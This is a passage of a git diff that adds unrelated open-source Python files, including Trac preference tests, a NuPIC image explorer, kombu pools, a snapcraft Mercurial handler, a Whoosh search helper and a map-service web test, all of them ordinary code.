+        """Test for regression of http://trac.edgewall.org/ticket/11515
+        Show a notice message with new language setting after it is changed.
+        """
+        from trac.util.translation import has_babel, get_available_locales
+        from pkg_resources import resource_exists, resource_filename
+
+        if not has_babel:
+            return
+        if not resource_exists('trac', 'locale'):
+            return
+        locale_dir = resource_filename('trac', 'locale')
+        from babel.support import Translations
+        string = 'Your preferences have been saved.'
+        translated = None
+        for second_locale in get_available_locales():
+            tx = Translations.load(locale_dir, second_locale)
+            translated = tx.dgettext('messages', string)
+            if string != translated:
+                break  # the locale has a translation
+        else:
+            return
+
+        try:
+            self._tester.go_to_preferences('Language')
+            tc.formvalue('userprefs', 'language', second_locale)
+            tc.submit()
+            tc.find(re.escape(translated))
+        finally:
+            tc.formvalue('userprefs', 'language', '')  # revert to default
+            tc.submit()
+            tc.find('Your preferences have been saved')
+
+
+class RegressionTestTicket11531(FunctionalTwillTestCaseSetup):
+    """Test for regression of http://trac.edgewall.org/ticket/11531
+    PreferencesModule can be set as the default_handler."""
+    def runTest(self):
+        default_handler = self._testenv.get_config('trac', 'default_handler')
+        self._testenv.set_config('trac', 'default_handler',
+                                 'PreferencesModule')
+        try:
+            tc.go(self._tester.url)
+            tc.notfind(internal_error)
+            tc.find(r"\bPreferences\b")
+        finally:
+            self._testenv.set_config('trac', 'default_handler',
+                                     default_handler)
+
+
+def functionalSuite(suite=None):
+    if not suite:
+        import trac.tests.functional
+        suite = trac.tests.functional.functionalSuite()
+    suite.addTest(TestPreferences())
+    suite.addTest(RegressionTestRev5785())
+    suite.addTest(RegressionTestTicket5765())
+    suite.addTest(RegressionTestTicket11319())
+    suite.addTest(RegressionTestTicket11337())
+    suite.addTest(RegressionTestTicket11515())
+    suite.addTest(RegressionTestTicket11531())
+    return suite
+
+
+suite = functionalSuite
+
+
+if __name__ == '__main__':
+    unittest.main(defaultTest='suite')
diff --git a/pool/shard000/Python/0007984_InwardSweep.py b/pool/shard000/Python/0007984_InwardSweep.py
new file mode 100644
index 0000000000000000000000000000000000000000..032e95a707cbeb6f6e1c5edd9fb400c369472df8
--- /dev/null
+++ b/pool/shard000/Python/0007984_InwardSweep.py
@@ -0,0 +1,158 @@
+# ----------------------------------------------------------------------
+# Numenta Platform for Intelligent Computing (NuPIC)
+# Copyright (C) 2013, Numenta, Inc.  Unless you have purchased from
+# Numenta, Inc. a separate commercial license for this software code, the
+# following terms and conditions apply:
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License version 3 as
+# published by the Free Software Foundation.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+# See the GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see http://www.gnu.org/licenses.
+#
+# http://numenta.org/licenses/
+# ----------------------------------------------------------------------
+
+from nupic.regions.ImageSensorExplorers.BaseExplorer import BaseExplorer
+from nupic.math.cross import cross
+
+
+class InwardSweep(BaseExplorer):
+
+  """
+  This explorer performs deterministic sweeps toward the center of the image.
+  The starting point of each sweep is a point along the edge of a block
+  of radius N pixels; the ending point of each sweep is the center of the
+  image.  Based on simple geometry, there will always be a total of 8 * N
+  sweeps per image.
+  """
+
+  # Pre-computed table
+  _inwardNeighbors = tuple([delta for delta in cross([-1,0,1],[-1,0,1])])
+
+  def __init__(self, radius=4, numRepetitions=1, *args, **kwargs):
+    """
+    @param radius: the distance from the center, in pixels, at which the
+                   sweeps start;
+    @param numRepetitions: number of times to present each inward sweep.
+    """
+    BaseExplorer.__init__(self, *args, **kwargs)
+    # Parameter checking
+    if type(radius) is not int or radius < 1:
+      raise RuntimeError("'radius' should be a positive integer")
+    if type(numRepetitions) is not int or numRepetitions < 1:
+      raise RuntimeError("'numRepetitions' should be a positive integer")
+    # Parameters
+    self._radius = radius
+    self._numRepetitions = numRepetitions
+    # Internal state
+    self._itersDone = 0
+
+
+  def _computeNextPosn(self, iteration=None):
+    """
+    Helper method that deterministically computes the next
+    inward sweep position.
+    """
+
+    radius = self._radius
+    if iteration is None:
+      iteration = self._itersDone
+
+    # Take into account repetitions
+    iterCount = iteration // self._numRepetitions
+
+    # numRadials are all the positions on the boundary
+    # Calculation 1) (2*radius+1)**2 - (2*radius-1)**2
+    # Calculation 2) (2*radius+1)*4 - 4
+    # numRadials, both ways is 8*radius
+    # And each radial is radius + 1 iterations
+    numRadialsPerCat = 8 * radius
+    numItersPerCat = numRadialsPerCat * (radius + 1)
+    catIndex = iterCount // numItersPerCat
+    catIterCount = iterCount % numItersPerCat
+    radialIndex = catIterCount // (radius + 1)
+    # Determine quadrants: 0 (top), 1 (right), 2 (bottom), 3 (left)
+    quadrantIndex = radialIndex // (2 * radius)
+    radialPosn = catIterCount % (radius + 1)
+    quadrantPosn = (radialIndex % (2 * radius))
+
+    # Determine start position of this radial
+    posnX, posnY = {
+        0: (quadrantPosn - radius, -radius),
+        1: (radius, quadrantPosn - radius),
+        2: (radius - quadrantPosn, radius),
+        3: (-radius, radius - quadrantPosn),
+        }[quadrantIndex]
+
+    spokeIdx = iteration % (radius + 1)
+    for spokeIter in range(spokeIdx):
+      # Compute neighbor with minimal euclidean distance to center
+      neighbors = [(posnX + dx, posnY + dy) for dx, dy in self._inwardNeighbors]
+      posnX, posnY = min(neighbors, key=lambda a: a[0]**2+a[1]**2)
+
+    self.position['reset'] = (spokeIdx == 0)
+    self.position['image'] = catIndex
+    self.position['offset'] = [posnX, posnY]
+
+    # Debugging output to console
+    if False:
+      print "[%04d] %d: (%d, %d) %s" % ( \
+            self._itersDone,
+            self.position['image'],
+            self.position['offset'][0],
+            self.position['offset'][1],
+            "RESET" if self.position['reset'] else "")
+
+    # Update iteration count
+    self._itersDone = iteration + 1
+
+
+
+  def seek(self, iteration=None, position=None):
+    """
+    Seek to the specified position or iteration.
+
+    iteration -- Target iteration number (or None).
+    position -- Target position (or None).
+
+    ImageSensor checks validity of inputs, checks that one (but not both) of
+    position and iteration are None, and checks that if position is not None,
+    at least one of its values is not None.
+
+    Updates value of position.
+    """
+    self._computeNextPosn(iteration=iteration)
+
+
+  def first(self):
+    """
+    Set up the position.
+
+    BaseExplorer picks image 0, offset (0,0), etc., but explorers that wish
+    to set a different first position should extend this method. Such explorers
+    may wish to call BaseExplorer.first(center=False), which initializes the
+    position tuple but does not call centerImage() (which could cause
+    unnecessary filtering to occur).
+    """
+    BaseExplorer.first(self, center=False)
+    self._computeNextPosn(iteration=0)
+
+
+  def next(self, seeking=False):
+    """
+    Go to the next position (next iteration).
+
+    seeking -- Boolean that indicates whether the explorer is calling next()
+      from seek(). If True, the explorer should avoid unnecessary computation
+      that would not affect the seek command. The last call to next() from
+      seek() will be with seeking=False.
+    """
+    BaseExplorer.next(self)
+    self._computeNextPosn()
\ No newline at end of file
diff --git a/pool/shard000/Python/0007987_package.py b/pool/shard000/Python/0007987_package.py
new file mode 100644
index 0000000000000000000000000000000000000000..f7621512dee59196a0a542a8d6392e6e89898832
--- /dev/null
+++ b/pool/shard000/Python/0007987_package.py
@@ -0,0 +1,21 @@
+# Copyright 2013-2021 Lawrence Livermore National Security, LLC and other
+# Spack Project Developers. See the top-level COPYRIGHT file for details.
+#
+# SPDX-License-Identifier: (Apache-2.0 OR MIT)
+
+from spack import *
+
+
+class RPng(RPackage):
+    """This package provides an easy and simple way to read, write and display
+    bitmap images stored in the PNG format. It can read and write both files
+    and in-memory raw vectors."""
+
+    homepage = "https://www.rforge.net/png/"
+    url      = "https://cloud.r-project.org/src/contrib/png_0.1-7.tar.gz"
+    list_url = "https://cloud.r-project.org/src/contrib/Archive/png"
+
+    version('0.1-7', sha256='e269ff968f04384fc9421d17cfc7c10cf7756b11c2d6d126e9776f5aca65553c')
+
+    depends_on('r@2.9.0:', type=('build', 'run'))
+    depends_on('libpng')
diff --git a/pool/shard000/Python/0008004_pools.py b/pool/shard000/Python/0008004_pools.py
new file mode 100644
index 0000000000000000000000000000000000000000..20ea9e369f403d112f9c7900cb19de7bf926894d
--- /dev/null
+++ b/pool/shard000/Python/0008004_pools.py
@@ -0,0 +1,138 @@
+"""
+kombu.pools
+===========
+
+Public resource pools.
+
+:copyright: (c) 2009 - 2011 by Ask Solem.
+:license: BSD, see LICENSE for more details.
+
+"""
+import os
+
+from itertools import chain
+
+from kombu.connection import Resource
+from kombu.messaging import Producer
+from kombu.utils import HashingDict
+
+__all__ = ["ProducerPool", "PoolGroup", "register_group",
+           "connections", "producers", "get_limit", "set_limit", "reset"]
+_limit = [200]
+_used = [False]
+_groups = []
+use_global_limit = object()
+disable_limit_protection = os.environ.get("KOMBU_DISABLE_LIMIT_PROTECTION")
+
+
+class ProducerPool(Resource):
+
+    def __init__(self, connections, *args, **kwargs):
+        self.connections = connections
+        super(ProducerPool, self).__init__(*args, **kwargs)
+
+    def Producer(self, connection):
+        return Producer(connection)
+
+    def create_producer(self):
+        connection = self.connections.acquire(block=True)
+        return self.Producer(connection)
+
+    def new(self):
+        return lambda: self.create_producer()
+
+    def setup(self):
+        if self.limit:
+            for _ in xrange(self.limit):
+                self._resource.put_nowait(self.new())
+
+    def prepare(self, p):
+        if callable(p):
+            p = p()
+        if not p.channel:
+            p.connection = self.connections.acquire(block=True)
+            p.revive(p.connection.default_channel)
+        return p
+
+    def release(self, resource):
+        resource.connection.release()
+        resource.connection = resource.channel = None
+        super(ProducerPool, self).release(resource)
+
+
+class PoolGroup(HashingDict):
+
+    def __init__(self, limit=None):
+        self.limit = limit
+
+    def create(self, resource, limit):
+        raise NotImplementedError("PoolGroups must define ``create``")
+
+    def __missing__(self, resource):
+        limit = self.limit
+        if limit is use_global_limit:
+            limit = get_limit()
+        if not _used[0]:
+            _used[0] = True
+        k = self[resource] = self.create(resource, limit)
+        return k
+
+
+def register_group(group):
+    _groups.append(group)
+    return group
+
+
+class Connections(PoolGroup):
+
+    def create(self, connection, limit):
+        return connection.Pool(limit=limit)
+connections = register_group(Connections(limit=use_global_limit))
+
+
+class Producers(PoolGroup):
+
+    def create(self, connection, limit):
+        return ProducerPool(connections[connection], limit=limit)
+producers = register_group(Producers(limit=use_global_limit))
+
+
+def _all_pools():
+    return chain(*[(g.itervalues() if g else iter([])) for g in _groups])
+
+
+def get_limit():
+    return _limit[0]
+
+
+def set_limit(limit, force=False, reset_after=False):
+    limit = limit or 0
+    glimit = _limit[0] or 0
+    if limit or 0 < glimit:
+        if not disable_limit_protection and (_used[0] and not force):
+            raise RuntimeError("Can't lower limit after pool in use.")
+        reset_after = True
+    if limit != glimit:
+        _limit[0] = limit
+        for pool in _all_pools():
+            pool.limit = limit
+        if reset_after:
+            reset()
+    return limit
+
+
+def reset(*args, **kwargs):
+    for pool in _all_pools():
+        try:
+            pool.force_close_all()
+        except Exception:
+            pass
+    for group in _groups:
+        group.clear()
+    _used[0] = False
+
+try:
+    from multiprocessing.util import register_after_fork
+    register_after_fork(connections, reset)
+except ImportError:
+    pass
diff --git a/pool/shard000/Python/0008005_mercurial.py b/pool/shard000/Python/0008005_mercurial.py
new file mode 100644
index 0000000000000000000000000000000000000000..1c34e7b9dfd36f14ff8ef8ef063e6cbd1f9598b4
--- /dev/null
+++ b/pool/shard000/Python/0008005_mercurial.py
@@ -0,0 +1,106 @@
+# -*- Mode:Python; indent-tabs-mode:nil; tab-width:4 -*-
+#
+# Copyright (C) 2015-2017 Canonical Ltd
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License version 3 as
+# published by the Free Software Foundation.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+
+import os
+import subprocess
+
+from . import errors
+from ._base import Base
+
+
+class Mercurial(Base):
+    def __init__(
+        self,
+        source,
+        source_dir,
+        source_tag=None,
+        source_commit=None,
+        source_branch=None,
+        source_depth=None,
+        source_checksum=None,
+        silent=False,
+    ):
+        super().__init__(
+            source,
+            source_dir,
+            source_tag,
+            source_commit,
+            source_branch,
+            source_depth,
+            source_checksum,
+            "hg",
+        )
+        if source_tag and source_branch:
+            raise errors.SnapcraftSourceIncompatibleOptionsError(
+                "mercurial", ["source-tag", "source-branch"]
+            )
+        if source_tag and source_commit:
+            raise errors.SnapcraftSourceIncompatibleOptionsError(
+                "mercurial", ["source-tag", "source-commit"]
+            )
+        if source_branch and source_commit:
+            raise errors.SnapcraftSourceIncompatibleOptionsError(
+                "mercurial", ["source-branch", "source-commit"]
+            )
+        if source_depth:
+            raise errors.SnapcraftSourceInvalidOptionError("mercurial", "source-depth")
+        if source_checksum:
+            raise errors.SnapcraftSourceInvalidOptionError(
+                "mercurial", "source-checksum"
+            )
+
+        self._call_kwargs = {}
+        if silent:
+            self._call_kwargs["stdout"] = subprocess.DEVNULL
+            self._call_kwargs["stderr"] = subprocess.DEVNULL
+
+    def pull(self):
+        if os.path.exists(os.path.join(self.source_dir, ".hg")):
+            ref = []
+            if self.source_tag:
+                ref = ["-r", self.source_tag]
+            elif self.source_commit:
+                ref = ["-r", self.source_commit]
+            elif self.source_branch:
+                ref = ["-b", self.source_branch]
+            cmd = [self.command, "pull"] + ref + [self.source]
+        else:
+            ref = []
+            if self.source_tag or self.source_branch or self.source_commit:
+                ref = [
+                    "-u",
+                    self.source_tag or self.source_branch or self.source_commit,
+                ]
+            cmd = [self.command, "clone"] + ref + [self.source, self.source_dir]
+
+        self._run(cmd, **self._call_kwargs)
+        self.source_details = self._get_source_details()
+
+    def _get_source_details(self):
+        tag = self.source_tag
+        commit = self.source_commit
+        branch = self.source_branch
+        source = self.source
+
+        if not (tag or commit or branch):
+            commit = self._run_output(["hg", "id", self.source_dir]).split()[0]
+
+        return {
+            "source-commit": commit,
+            "source-branch": branch,
+            "source": source,
+            "source-tag": tag,
+        }
diff --git a/pool/shard000/Python/0008014_chart_widget.py b/pool/shard000/Python/0008014_chart_widget.py
new file mode 100644
index 0000000000000000000000000000000000000000..0b5ec906f8e29c7d3f25b77d843d77b39a690a6b
--- /dev/null
+++ b/pool/shard000/Python/0008014_chart_widget.py
@@ -0,0 +1,45 @@
+# from PyQt5 import QtChart
+from PyQt5.QtChart import QChart, QChartView, QLineSeries
+from PyQt5.QtGui import QPainter
+from PyQt5.QtCore import Qt
+
+
+class ChartWidget:
+    def __init__(self):
+        self.model = QChart()
+        self.view = QChartView()
+
+        self.view.setChart(self.model)
+
+        self.model.legend().setAlignment(Qt.AlignBottom)
+        self.view.setRenderHint(QPainter.Antialiasing)
+
+    def show(self):
+        self.view.show()
+
+    def exit(self):
+        self.view.close()
+
+    @property
+    def title(self):
+        return self.model.title()
+
+    @title.setter
+    def title(self, title):
+        self.model.setTitle(title)
+
+    def add_series(self, x_list, y_list, name):
+        series = QLineSeries()
+        series.setName(name)
+
+        for x, y in zip(x_list, y_list):
+            series.append(x, y)
+
+        self.model.addSeries(series)
+        self.model.createDefaultAxes()
+
+        # axis = QValueAxis()
+        # axis.setTitleText("Dose")
+        #
+        # self.model.setAxisX(axis, series)
+        # self.model.axisY(series).setTitleText("Dose")
diff --git a/pool/shard000/Python/0008016_init__.py b/pool/shard000/Python/0008016_init__.py
new file mode 100644
index 0000000000000000000000000000000000000000..895fe1af01aa97c2dece043c8da0a330744c862b
--- /dev/null
+++ b/pool/shard000/Python/0008016_init__.py
@@ -0,0 +1,199 @@
+import re
+import os
+import json
+import datetime
+import logging
+from uuid import uuid4
+
+from tornado import gen
+from whoosh.analysis import StemmingAnalyzer, StopFilter
+from whoosh.fields import *
+from whoosh.index import create_in, exists_in, open_dir
+from whoosh.writing import IndexingError
+
+from summer.utils import DotDict
+
+logger = logging.getLogger(__name__)
+
+IGNORE_WORDS = []
+
+class SowingSchema(SchemaClass):
+    uuid = NUMERIC(
+        unique=True, stored=True, numtype=int, bits=64, signed=False)
+
+    # -- Findable data
+    author = TEXT(
+        stored=True, sortable=True, field_boost=1.1)
+    pmeta = ID(  # JSON-serializable meta data such as icons and pictures
+        stored=True)
+
+    # -- Dates
+    modified = DATETIME(
+        stored=True, sortable=True)
+    created = DATETIME(
+        stored=True, sortable=True)
+
+    # -- Article Things
+    banner = ID(
+        stored=True)
+    statics = ID(
+        stored=True)
+    topic = TEXT(
+        stored=True, field_boost=2.0, sortable=True)
+    slug = TEXT(
+        stored=True, sortable=True)
+    title = TEXT(
+        stored=True, field_boost=1.4, sortable=True)
+    keywords = KEYWORD(
+        stored=True, lowercase=True, commas=True, field_boost=1.2)
+    summary = TEXT(
+        stored=True, spelling=True, phrase=True, field_boost=1.1)
+    content = TEXT(
+        stored=True, spelling=True, phrase=True, field_boost=0.9,
+        analyzer=StemmingAnalyzer(
+            minsize=4, stoplist=IGNORE_WORDS, cachesize=1024*64) | StopFilter())
+
+
+def obtain_index(location, schema, index_name, force_new_index=False, read_only=False):
+    created_index = False
+    if not os.path.exists(location):
+        try:
+            os.makedirs(location)
+        except IOError as e:
+            raise e
+        else:
+            created_index = True
+    if created_index or force_new_index:
+        index = create_in(location, schema, indexname=index_name)
+    else:
+        if exists_in(location, indexname=index_name):
+            index = open_dir(location, index_name, readonly=read_only, schema=schema)
+        else:
+            raise EnvironmentError('no search index found at: ' + location)
+    return index
+
+
+def clean_results(idx, results, query=None):
+    schema = idx.schema
+    ret, default_document = list(), get_default_schema(schema)
+
+    metadata = DotDict()
+
+    if hasattr(results, 'runtime'):
+        # regular search.search(..) method call
+        runtime = results.runtime
+    else:
+        if hasattr(results, 'results'):
+            # search.search_page(..) hides the underlying
+            # `results` object as a new attribute in a `ResultsPage`
+            # wrapper.
+            runtime = results.results.runtime
+        else:
+            # if we can't get the runtime, suggest a negative
+            # number...hopefully this doesn't happen and might
+            # be considered a bug if the runtime returns as -1
+            runtime = -1
+
+    # round the runtime to the nearest 4th decimal place
+    metadata.search_time = round(runtime, 4)
+
+    metadata.count = len(results)
+    metadata.query = str(query)
+
+    for doc in results:
+        # create a copy of the default structure
+        # then replace the fields that exist in our
+        # returned document; this will also add any
+        # fields/columns that didn't exist in the original schema.
+        res = dict(default_document)
+        res.update(doc.items())
+
+        # convert the pmeta string (json) into a dict object
+        try:
+            m = '{}' if doc['pmeta'] is None else doc['pmeta']
+            m = json.loads(m)
+        except Exception as e:
+            m = {}
+        finally:
+            res['pmeta'] = m
+
+        # ensure we have a created date
+        if res['created'] is None:
+            res['created'] = res['modified']
+
+        ret.append(res)
+
+    metadata.results = ret
+
+    return metadata
+
+
+def get_default_schema(schema, uuid=None, modified_date=None):
+    if uuid is None:
+        uuid = int(str(uuid4().int)[:8])
+
+    if modified_date is None:
+        modified_date = datetime.datetime.utcnow()
+
+    ret_schema = dict().fromkeys(schema._fields)
+
+    ret_schema['uuid'] = uuid
+    ret_schema['modified'] = modified_date
+
+    return ret_schema
+
+
+def slugify(title):
+    SLUG_REGEX = re.compile(r'[\w\d_]+')
+    slug_title = '-'.join(map(lambda x: x.lower(), SLUG_REGEX.findall(title)))
+    return slug_title
+
+
+def document_slug(document):
+    # matches the BlogHandler pattern:
+    # .. /blog/([a-z]+)/(\d+)/(\d+)/(.*)/(\d+)/
+    # .. /blog/topic/year/month/_slug_/uuid/
+    doc = DotDict(document)
+    year = doc.modified.year
+    month = str(doc.modified.month).zfill(2)    # 0-pad the month
+
+    return r'/blog/{}/{}/{}/{}/{}'.format(
+        doc.topic, year, month, slugify(doc.title), doc.uuid)
+
+
+@gen.coroutine
+def write_index(idx, **fields):
+    try:
+        writer = idx.writer()
+
+        # set the created and modified dates
+        fields['modified'] = fields['created'] = datetime.datetime.utcnow()
+
+        writer.add_document(**fields)
+        writer.commit()
+        success = True
+    except (IndexError, IOError) as e:
+        logger.error(e)
+        success = False
+    return success
+
+
+@gen.coroutine
+def update_index(idx, is_delete=False, **fields):
+    try:
+        writer = idx.writer()
+
+        # update modified by
+        fields['modified'] = datetime.datetime.utcnow()
+
+        if is_delete:
+            writer.delete_by_term('uuid', fields.get('uuid'))
+        else:
+            writer.update_document(**fields)
+        writer.commit()
+        success = True
+    except (IndexError, IOError) as e:
+        logger.error(e)
+        success = False
+    return success
+
diff --git a/pool/shard000/Python/0008019_test_mymaps.py b/pool/shard000/Python/0008019_test_mymaps.py
new file mode 100644
index 0000000000000000000000000000000000000000..3431a366f2a94c89be2fe0459fbd46d4d710310b
--- /dev/null
+++ b/pool/shard000/Python/0008019_test_mymaps.py
@@ -0,0 +1,139 @@
+import unittest
+from pyramid import testing
+from pyramid.paster import get_app
+from webtest import TestApp
+from json import dumps as json_dumps
+from geoportailv3_geoportal.scripts import lux_get_app
+
+
+class TestMymaps(unittest.TestCase):
+
+    def setUp(self):  # noqa
+        self.app = lux_get_app('../../development.ini', 'name')
+        self.user_login = ""
+        self.user_password = ""
+
+    def tearDown(self):  # noqa
+        testing.tearDown()
+
+    def test_maps(self):
+        testapp = TestApp(self.app)
+
+        testapp.get('/mymaps/maps', status=401)
+        testapp.post('/login?login=%s&password=%s'
+                     % (self.user_login, self.user_password), status=200)
+        resp = testapp.get('/mymaps/maps', status=200)
+        assert resp.content_type == 'application/json'
+        assert len(resp.json) >= 0
+
+        resp = testapp.post('/mymaps/create',
+                            params={'features':
+                                    json_dumps(
+        {"type": "FeatureCollection",  # noqa
+         "features": [{"type": "Feature",
+                       "properties": {"name": "test mymaps ligne",
+                                      "description": "test ligne desc",
+                                      "image": "",
+                                      "thumbnail": "",
+                                      "color": "#FF6600",
+                                      "stroke": 3,
+                                      "isLabel": False,
+                                      "showOrientation": False,
+                                      "linestyle": 1},
+                       "geometry": {"type": "LineString",
+                                    "coordinates": [[66000, 88750],
+                                                    [84500, 90750],
+                                                    [98000, 89750],
+                                                    [74000, 107750]]}}]}),
+                                    'zoom': 0,
+                                    'X': 105000,
+                                    'Y': 80000,
+                                    'layers': '',
+                                    'layers_indices': '7,8',
+                                    'layers_opacity': '1,1',
+                                    'layers_visibility': 'true,true',
+                                    'bgOpacity': '',
+                                    'bgLayer': 'webbasemap',
+                                    'uuid': '',
+                                    'theme': 'main',
+                                    'title': 'test mymaps',
+                                    'description': 'test description',
+                                    'label': '',
+                                    'category_id': ''}, status=200)
+        assert resp.json['success'] is True
+        assert len(resp.json["uuid"]) > 0
+
+        map_id = resp.json["uuid"]
+        testapp.get('/mymaps/map/bad_id', status=404)
+        resp = testapp.get('/mymaps/map/' + map_id, status=200)
+        assert len(resp.json) > 0
+        assert resp.json["uuid"] == map_id
+        assert resp.json["user_login"] == self.user_login
+        assert resp.json["title"] == 'test mymaps'
+
+        resp = testapp.get('/mymaps/delete/bad_id' + map_id, status=404)
+        resp = testapp.get('/mymaps/delete/' + map_id, status=404)
+        resp = testapp.post('/mymaps/delete/' + map_id, status=404)
+        testapp.get('/logout', status=200)
+        resp = testapp.delete('/mymaps/delete/' + map_id, status=401)
+
+        testapp.post('/login?login=%s&password=%s'
+                     % (self.user_login, self.user_password), status=200)
+        testapp.put('/mymaps/update/' + map_id,
+                    params={'features':
+                            json_dumps(
+        {"type": "FeatureCollection",  # noqa
+         "features": [{"type": "Feature",
+                       "properties": {"name": "updated Feature",
+                                      "description": "updated description",
+                                      "image": "",
+                                      "thumbnail": "",
+                                      "color": "#FF6600",
+                                      "stroke": 3,
+                                      "isLabel": False,
+                                      "showOrientation": False,
+                                      "linestyle": 1},
+                       "geometry": {"type": "LineString",
+                                    "coordinates": [[66000, 88750],
+                                                    [84500, 90750],
+                                                    [98000, 89750],
+                                                    [74000, 107750]]}}]}),
+                            'zoom': 0,
+                            'X': 105000,
+                            'Y': 80000,
+                            'layers': '',
+                            'layers_indices': '7,8',
+                            'layers_opacity': '1,1',
+                            'layers_visibility': 'true,true',
+                            'bgOpacity': '',
+                            'bgLayer': 'webbasemap',
+                            'uuid': '',
+                            'theme': 'main',
+                            'title': 'Updated mymaps',
+                            'description': 'updated test description',
+                            'label': '',
+                            'category_id': ''}, status=200)
+
+        resp = testapp.get('/mymaps/map/' + map_id, status=200)
+        assert resp.json["title"] == 'Updated mymaps'
+        resp = testapp.get('/mymaps/rate/' + map_id + '?rating=10', status=400)
+        resp = testapp.get('/mymaps/rate/' + map_id + '?rating=3', status=200)
+        assert resp.json['success'] is True
+        assert resp.json['rating_count'] == 1
+        resp = testapp.get('/mymaps/rate/' + map_id + '?rating=3', status=200)
+        assert resp.json['success'] is True
+        assert resp.json['rating_count'] == 2
+
+        resp = testapp.post('/mymaps/upload_image',
+                            upload_files=[('file', 'LOGO_ACT.png')])
+        assert resp.json['success'] is True
+        resp = testapp.post('/mymaps/comment/%s?comment=Test commentaire'
+                            % (map_id), status=200)
+        assert resp.json['success'] is True
+
+        resp = testapp.delete('/mymaps/delete/' + map_id, status=200)
+        assert resp.json['success'] is True
+
+
+if __name__ == '__main__':
+    unittest.main()
diff --git a/pool/shard000/Python/0008026_hq_utils.py b/pool/shard000/Python/0008026_hq_utils.py
new file mode 100644
index 0000000000000000000000000000000000000000..dbed756028f3912253c86b1ed0e0594c27f1cb17
--- /dev/null
+++ b/pool/shard000/Python/0008026_hq_utils.py
@@ -0,0 +1,106 @@
+#!/usr/bin/python
+#
+# This file is used for detecting the HQ installation type and the system's architecture.
+#
+# If the support-package script needs to be used for other projects, then this file needs to be different 
+# (and possibly more generic). Other files are mostly application independent.
+#
+
+import os,sys,tempfile,glob,time,shutil
+from subprocess import call
+import global_data as gd
+from global_data import addGlobalData
+import logging
+
+logger = logging.getLogger('hq_util')
+
+SERVER = "server"
+AGENT = "agent"
+DEV = 'dev'
+
+# Detect whether we're on an HQ server, HQ agent or a dev machine
+def getInstallationType(hq_home):
+    if os.path.exists(os.path.join(hq_home,'hq-engine')) and os.path.exists(os.path.join(hq_home,'wrapper')):
+        return SERVER
+    else:
+        if os.path.exists(os.path.join(hq_home,'bundles')) and os.path.exists(os.path.join(hq_home,'wrapper')):
+            return AGENT
+        else:
+            if os.path.exists(os.path.join(hq_home,'resources')):
+                return DEV
+            else:
+                raise Exception('Unknown HQ environment')
+
+# Detect HQ related information, base on the HQ home folder
+def detectHQInformation(hq_home):
+    # Add hq home as a a variable
+    addGlobalData(gd.HQ_HOME,hq_home)
+
+    # Detect the HQ installation type
+    installation_type = getInstallationType(hq_home)
+    addGlobalData(gd.INSTALLATION_TYPE,installation_type)
+    # If it's a server installation,
+    if installation_type == SERVER:
+        addGlobalData(gd.SERVER_HOME,hq_home)
+        expected_jre_location = os.path.join(hq_home,"jre")
+        if os.path.exists(expected_jre_location):
+            addGlobalData(gd.SERVER_JRE,expected_jre_location)
+            addGlobalData(gd.JRE,expected_jre_location)
+        else:
+            # Add JAVA_HOME as the JRE path
+            if 'JAVA_HOME' in os.environ.keys():
+                addGlobalData(gd.JRE,os.environ['JAVA_HOME'])
+        addGlobalData(gd.SUPPORT_BASE,os.path.join(hq_home,'support'))
+    else:
+        # If it's an agent installation
+        if installation_type == AGENT:
+            addGlobalData(gd.AGENT_HOME,hq_home)
+            expected_jre_location = os.path.join(hq_home,"jre")
+            if os.path.exists(expected_jre_location):
+                addGlobalData(gd.AGENT_JRE,expected_jre_location)
+                addGlobalData(gd.JRE,expected_jre_location)
+            else:
+                # add JAVA_HOME as the JRE path
+                if 'JAVA_HOME' in os.environ.keys():
+                    addGlobalData(gd.JRE,os.environ['JAVA_HOME'])
+            addGlobalData(gd.SUPPORT_BASE,os.path.join(hq_home,'support'))
+        else:
+            # If it's a dev machine
+            if installation_type == DEV:
+                # Then add JAVA_HOME as the JRE path if it exists
+                if 'JAVA_HOME' in os.environ.keys():
+                    addGlobalData(gd.JRE,os.environ['JAVA_HOME'])
+                addGlobalData(gd.SUPPORT_BASE,os.path.join(hq_home,'resources'))
+                # Save the location of the support source-code project
+                addGlobalData(gd.SUPPORT_PROJECT_BASE,os.path.join(hq_home,'..','..'))
+            else:
+                raise Exception("Unknown installation type")
+
+    # Save lib folder as a variable
+    lib_folder = os.path.join(gd.getGlobalData(gd.SUPPORT_BASE),'lib')
+    addGlobalData(gd.LIB_FOLDER,lib_folder)
+
+    # Save java executable location as a variable
+    addGlobalData(gd.JAVA_EXECUTABLE,os.path.join(gd.getGlobalData(gd.JRE),'bin','java'))
+    java_executable = gd.getGlobalData(gd.JAVA_EXECUTABLE)
+    # Save jython JAR location as a variable
+    jython_jar_location = os.path.join(gd.getGlobalData(gd.LIB_FOLDER),'jython.jar')
+    addGlobalData(gd.JYTHON_JAR_LOCATION,jython_jar_location)
+    # Save the command line to run jython as a variable
+    run_jython = '%(java_executable)s -jar %(jython_jar_location)s ' % vars()
+    addGlobalData(gd.RUN_JYTHON,run_jython)
+    # Save the command line to run a platform-independent tar as a variable
+    simple_tar_path = os.path.join(gd.getGlobalData(gd.SUPPORT_BASE),'scripts','common','simpletar.py')
+    simple_tar_command = '%(run_jython)s %(simple_tar_path)s' % vars()
+    addGlobalData(gd.SIMPLE_TAR,simple_tar_command)
+
+    if installation_type == SERVER or installation_type == AGENT:
+        # TODO Get sigar version automatically
+        sigar_jar = os.path.abspath(os.path.join(gd.getGlobalData(gd.SUPPORT_BASE),'lib','sigar','sigar-1.6.6.jar'))
+    else:
+        # On dev machines, we need to take the sigar jar from the target folder
+        sigar_jar = os.path.abspath(os.path.join(gd.getGlobalData(gd.SUPPORT_PROJECT_BASE),'target','generated-resources','lib-sigar','sigar-1.6.6.jar'))
+    addGlobalData(gd.SIGAR_JAR,sigar_jar)
+
+    addGlobalData(gd.RUN_SIGAR,'%(java_executable)s -jar %(sigar_jar)s' % vars())
+
